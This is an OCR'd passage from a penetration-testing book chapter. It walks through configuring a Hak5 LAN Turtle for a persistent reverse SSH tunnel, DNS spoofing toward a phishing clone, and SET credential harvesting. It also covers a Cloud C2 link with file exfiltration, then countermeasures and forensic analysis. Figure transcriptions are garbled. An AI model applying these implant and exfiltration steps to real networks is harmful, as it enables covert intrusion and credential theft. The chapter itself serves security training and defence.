this purpose. Create a new user on the cloud server who has access via SSH.

On the LAN Turtle itself, you must first generate an SSH key pair for the public key pro-
cedure. Call the keymanager module in the module manager, as shown in Figure 16.43.

Modules
lgggd  99939999IdIagIIdIdadaddadadaddaadagaadaqaddadadaadadadaddadd
[ script2http Post script output wia HTTP
X[ ] guickcreds Snagging creds from locked machines --Mubix,
x[ openvpn Openvpn client
x[ iodine iodine DNS Tunneling module. Establishes a DN
x[ tortle TORtle - TOR Turtle Gateway + TOR hidden SHEL
x[ responder Responder - LLMNR, NBT-NS and MDNS poisoner
keymana SSH Key Manager
meterpreter—sl Deprecated - requires firmware vé.l or below.
sshfs Mounts remote File Systems over SSH
dnsmasg-spoof DNSSpoof using DNSMasqg instead of Dsniff tool
ddnsc DDNSC - Dynamic Domain Name Service Client
follow-file Follow log printing data as file grows
100%

[<EELECT>| < BACE >

Jg9999999999999999999999999999999999999999999999999999999999999II9IaIT ]

Figure 16.43 Entry for the keymanager Module in the Module Manager

Start the keymanager module via the <SELECT> option and select the <CONFIGURE>
option on the subsequent screen. To generate a new key pair, you must run the gener-
ate_key item, as shown in Figure 16.44. You'll then see a message that the existing keys
for the root user will be replaced. Confirm this message by selecting <YES>. The gener-
ation process will take a while and will be confirmed via a message.

Next you must transfer the key to your server on the internet via the copy_key item
from the menu. Then enter the IP address or the domain name of your server in the
Host field, as shown in Figure 16.45. You must enter the SSH port under Port. Unless
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you've applied custom configuration, it will of course be port 22. Enter the name of your
SSH user under User. Complete the process by selecting <Submit>. You’'ll then be asked
to check and confirm the SSH fingerprint of your server and enter the password of your
SSH user so that the copying process can be performed. If no error message appears, the
process was successful.

1ggggagagagaaaqaaaqaaqadadaadagadaaaaaaaaaaaaaadaqaqaqaqaq
enerate ke Generate new SSH key pair
copy_key Copy public key to remote host
add host Edd Remote host to local known hosts
review Review local known hosts
back Back

<Cancel>

Figure 16.44 Creating a New Key Pair

SSH Copy ID
SSH Copy ID is a convient script which will copy the
local SSH public key to a remote server.

Host: Remote 35H Server.
Port: Remote SSH Server Port (Typically 22).
User: User on remote SSH server.

199999999999999999999999999999999999999999999999999999T
xHost:

xPort:

xUser:

m

<Submit> <Cancel>
099999999999999999999999999999999999999dg9999aggaaaqaadqaadd

Figure 16.45 Copying the SSH Key to the Remote Server

Then return to the module manager, select the autossh module, and go to <CONFIG-
URE>, as shown in Figure 16.46. Under User@Host, you must enter the SSH user and the
IP address or domain name of your remote server and, if necessary, adjust the SSH port
of your server under Port. You can accept the Remote Port and Local Port fields: The
remote port serves as a virtual SSH port for the local assignment, and the local port rep-
resents the SSH port of the LAN Turtle. Confirm the entry via <Submit>.
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RutoSSH Configuration
AutoSSH (Persistent Secure Shell)

User@Host: User and Host to establish the SSH tunnel
Port: Port of the Host to establish the SSH tunnel
Remote Port: Remote port to bind through the SSH tunnel
Local Port: Local port to bind tunnel (Default 22)

1999999qqqqadgaaagaagaaaaaqaaaaagdagaaaaaaaaaagaaagaaqgadag
xUserfHost: serfhost

xPort:

xRemote Port: prjel

xLocal Port:

<Submit> <Cancel>

Figure 16.46 Configuration of the autossh Module

You have now successfully completed the configuration. Now select the <Start> menu
item to start the autossh module. Connect to your server via SSH using your SSH user.
Start a new SSH session via the terminal on the preconfigured SSH port 2222 with the
following command:

$ ssh root@localhost -p 2222

Next you'll be asked for a password. Enter the password of the root user of the LAN Tur-
tle here. You have now successfully connected to the LAN Turtle from the outside, and
the Turtle Shell will start automatically.

dns-spoof Module

You can use the dns-spoof module to spoof DNS queries (i.e., to redirect domain calls).
However, you must specify which domain is to be redirected to which IP address. DNS
spoofing is helpful during a pentest, for example, to simulate how a call to a correct URL
is redirected to a separate phishing page. For such a training scenario, select the dns-
spoof module in the Manager area, as shown in Figure 16.47.

Go to the <CONFIGURE> menu item to configure the fake DNS queries, as shown in
Figure 16.47. You can add one entry per line. As shown in Figure 16.48, the IP address of
the target server to which the website call is to be redirected comes first, followed by the
domain name of the original server that your target actually wants to reach, separated
by a space. You can also enter another domain name, for example with the addition
WWw.

Confirm the dialog box by clicking OK. Subsequently, the main level of the module will
be called again automatically. To start it, you must select the <Enable> option to start
the module automatically.
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Module dns-spoof
Current Status: Stopped
Bootup Status: Disabled

dnsspoof forges replies to arbitrary DNS address /
pointer gueries on the LAN. This is useful in bypassing
hostname-based access controls, or in implementing a
variety of man-in-the-middle attacks.

< STBRRT > < ENABLE > <CONFIGURE>

Figure 16.47 The dns-spoof Module of the LAN Turtle

DNSSpoof Configuration (/etc/turtle/spoofhost)
lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
61.237.58 rheinwerk-verlag.de www.rheinwerk-verlag.de

X
X
X
X
X
X
X
X
X
X
X
m

< Help >
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Figure 16.48 Redirecting the Domain

If you connect the LAN Turtle to a computer now and reconnect the network cable, all
network connections will run via the secretly installed hardware. If an employee then
calls the harmless www.rheinwerk-publishing.com domain on this manipulated com-
puter, the DNS query is manipulated, and the IP address we entered is returned as the
response instead.

Such an attack can hardly be recognized even by experienced users because operation
seems fine: The user has not clicked on a manipulated link in an email but has entered
the URL correctly. If your target page is a deceptively real replica of the original page,
even professionals will be misled.
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Phishing Tests Using the Social Engineering Toolkit

For example, if you want to use your company’s website for such a training scenario,
you don’t necessarily require access to the source code from the development depart-
ment. The Social Engineering Toolkit (SET), part of Kali Linux, includes a website cloner
that copies a page in just a few steps, which is manipulated in such a way that user-
name and password entries are saved in plain text.

You'll find the cloner somewhat hidden in the text-based menu of the SET. In the main
menu, select 2) Website Attack Vectors, then 3) Credential Harvester Attack Method,
and finally 2) Site Cloner. You must then enter the URL of the page you want to clone
(i.e., www.your-company.com/internal-area).

Cloud C2

Like the Packet Squirrel or the Shark Jack, you can manage the LAN Turtle with Cloud C?
from Hak5, including uploading the collected information as a file to the Cloud C?
server, for example.

For configuration, refer to the steps described in Section 16.4.2. This time, however,
select the LAN Turtle option in the Device Type list. You'll again receive a corresponding
configuration file, device.config, which you copy via SCP with the following command:

$ scp device.config root@172.16.42.1:/etc/

Then connect the LAN Turtle to a computer and plug in the network cable. After the
startup process, a connection to Cloud C? will be established automatically. Alterna-
tively, you can start a connection to your Cloud C? server on the LAN Turtle itself with
the C2CONNECT command, as shown in Figure 16.49.

LAN TURTLE
by Hak5
/%) (*\.-.
/ N N \

U U

Enter "turtle"™ to return to the Turtle Shell

root@turtle:~# C2CONNECT

sshd already running
Device already connected to C2
root@turtle:~# I

Figure 16.49 Manual Connection to the Cloud C2 Server

When you now log in to your Cloud C? server, you'll see that your LAN Turtle is online.
The same options are available for this device as for the other Hak5 devices with a Cloud
C? server connection, and you can configure, restart, and delete the device, as shown in
Figure 16.50.
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Hak5 Cloud C2 a0
Version 3.1.2 Community Edition =
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Figure 16.50 LAN Turtle Connected to the Cloud C? Server

The Overview tab provides an overview of the connection data. Under Clients, you'll see
the computer to which you have connected the LAN Turtle. As soon as you upload files
via the C2EXFIL command, which is also available via SSH, they will appear under the
Loot menu item.

The last tab, Terminal, is particularly interesting. Click the Start SSH Session button to
start an SSH connection directly via the web browser. The Turtle Shell then appears at
the start, allowing you to conveniently use all the functions of the LAN Turtle, as shown
inFigure 16.51. The Exit item takes you to the normal Bash, and you can call any function.

LAN Turtle: Conclusion

Thanks to the integrated mini computer and the familiar Linux environment, the LAN
Turtle is a flexible tool, and with its prefabricated modules, many different scenarios
can be covered. Additional software packages can be easily installed, and you can also
develop your own modules.

The LAN Turtle has the following features:

B Compact hardware with one RJ45 socket and one USB-A plug

® Standard chipset for the network interface via USB without driver installation
B Ready-made modules that cover many application scenarios

B Llinux system based on OpenWRT that can be extended
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Figure 16.51 SSH Connection to the LAN Turtle via the Web Browser

16.7 Countermeasures

The attack tools I presented in this chapter have immense potential for damage. If an
attacker succeeds in placing such a device in your network, you cannot trust your infra-
structure anymore and must assume that it has been completely compromised: Have
your domain controllers and login servers been tampered with? Are the backups also
affected?

Therefore, being well prepared for such an attack is extremely important. As a first pro-
tective measure, structural measures can help to restrict access, for example, ensuring
that no network devices are located in publicly accessible areas, only in locked room:s.
Alternatively, you might deploy special network plugs that can only be unplugged
using a key. For example, the company Lindy (https://lindy.com/de) offers network port
blockers for blocking RJ45 ports, as shown in Figure 16.52. To block a connection, plug an
insert into the RJ45 port. The insert closes flush and cannot be removed by hand. You
need the special tool supplied to remove it.

Four variants with different tools are available, each in a different color to make them
easier to distinguish. Inserts can only be removed by a tool of the same color.
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Figure 16.52 RJ45 Port Locks with a Special Tool

If there are network interfaces in the publicly accessible area that are not required, you
can of course also deactivate them, i.e., simply unplug them from the patch panel: Min-
imizing the attack surface is always a good idea.

At the management level, you should divide networks into different segments to pre-
vent an attacker from gaining complete access. For large networks in particular, division
into discrete subnets is essential and should be considered early at the setup stage. You
should therefore structure your networks carefully and keep different areas, such as
production, guest network and lunch break area, ordinary office computers, but also
server services such as PKI, Exchange, or ERP systems, strictly separated from each
other. Later modifications are of course possible but involve greater effort.

A good idea is to have an up-to-date and well-maintained plan of your network’s topol-
ogy at hand, which is helpful for determining which network drops are potentially signs
of risk, because unauthorized individuals might be able to access these networks easily.
Check whether it makes sense to include all these devices in a separate virtual local area
network (VLAN) that you isolate from the important parts of your network. Alterna-
tively, unused network sockets can be combined into a special network in which mes-
sages about new devices are sent and all actions are logged to help you detect attacks
made with hardware tools.

LAN connections to important server systems must not be located in areas where the
public has access or where you cannot control access. Particularly important systems
should also be protected against access by internal perpetrators. For example, even
authorized technicians should not be left alone in the most important zones of your
data center, or you should monitor these areas with cameras if necessary.

In addition to these migrations, you should monitor your network for unusual activi-
ties. Ifthe effort involved is reasonable, you can record the MAC addresses of all network
devices and continuously check whether any unknown devices appear on the network.
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In addition, you might deploy a monitoring solution to record whether devices that
should be permanently connected to the network have been unplugged. As a result, the
loss of a network connection can be equated with an attack, and an alarm can be trig-
gered. Of course, you should also be extremely suspicious if strange things happen in
your network. Most noticeable would be devices that throttle data throughput to 100
Mbit/s—if data transmissions take a noticeably long time, but all switches and routers
are working properly, a detailed search for some manipulation of the network may be
necessary.

Finally, the encryption of internal network traffic is an effective measure. Even if an
attacker uses the techniques I've described to spy on a LAN network, they cannot access
any readable data. Your precautionary measures also include securing DNS queries. To
this end, the domains the company uses must be equipped with Domain Name System
Security Extensions (DNSSEC), and all other DNS queries should only be encrypted. You
should therefore use DNS over HTTPS (DoH) and DNS over TLS (DoT).

16.8 Analyzing Devices Found

Tampering with a network can have a devastating effect on the security of your infra-
structure. If you detect such attempted attacks, for example, using the tools presented
in this chapter, you should raise the alarm immediately. IT forensic investigations
should definitely be carried out, and we highly advise contacting professional service
providers with relevant experience.

If a Throwing Star LAN Tap Pro is found without a computer connected, you won't be
able to obtain any information since it is a passive component. The situation is similar
with a Plunder Bug because no data is stored on this device and it only works as long as
a computer is connected.

Prospects are better if you find a Packet Squirrel. This device saves data on a USB drive
that you can analyze (see Chapter 19, Section 19.2). You can also try out the default pass-
word for SSH access and try to explore the device. Since the network interface of the
Packet Squirrel can be configured flexibly, you should also analyze the network traffic
(see Chapter 19, Section 19.3).

The situation is similar if you find a Shark Jack. This device has permanent memory and
a default password. Since no prompt asks the attacker to change the password after the
first login, there is a good chance that you can just log in using the default password
(unfortunately, not the case with a LAN Turtle). Thus, if access is possible via the default
password, you can analyze which data has been captured.

If you can isolate the devices in your network, you should not touch them but instead
try to analyze the network traffic on your side. This isolation can provide valuable clues
to identify the perpetrators and reveal what data and information has been stolen or
manipulated.
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